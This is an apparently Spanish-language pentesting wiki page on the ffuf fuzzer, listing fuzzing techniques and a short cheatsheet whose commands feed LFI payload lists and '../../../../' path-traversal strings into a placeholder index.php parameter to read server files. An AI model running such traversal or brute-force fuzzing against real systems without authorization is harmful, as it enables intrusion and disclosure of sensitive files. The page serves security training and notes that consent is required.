🕸️Ffuf
ffuf es una herramienta de fuzzing de código abierto que se utiliza para descubrir vulnerabilidades en aplicaciones web al enviar solicitudes HTTP manipuladas
Nota: Este tipo de búsquedas son muy invasivas, ya que hacen muchas peticiones al servidor del objetivo, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo

ffuf utiliza una lista de palabras clave o diccionario para generar solicitudes HTTP manipuladas y ver cómo responde la aplicación.
Donde indiquemos el parámetro FUZZ probará todas las palabras del diccionario
Fuzzing con ffuf
Fuzzing de directorios
Fuzzing buscando archivos específicos
Fuzzing de subdominios
Niveles de profundidad
Respuestas con un código de estado HTTP 200
Descubrir Vhosts
Fuzzing de extensiones
Fuzzing de parámetros de URL
Método GET
Método POST
Fuzzing con Cookie Session
Guardar resultados en HTML
Fuzzing avanzado con ffuf
Utilizar varios diccionarios simultáneamente
Fuzzing de USER o PASSWORD en Login
Capturar request de login con burpsuite y guardar archivo request-burp
Editar archivo con un editor de texto como (gedit o nano) cambiando los parámetros que queramos fuzzear por FUZZ o :W1 y :W2 si usamos varios diccionarios
Ffuf Cheatsheet
Comando
Descripción
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
Fuzzing de parámetros en una URL
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
Fuzzing con LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
Fuzzing de webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
Fuzzing de configuraciones de servidor
Última actualización
¿Te fue útil?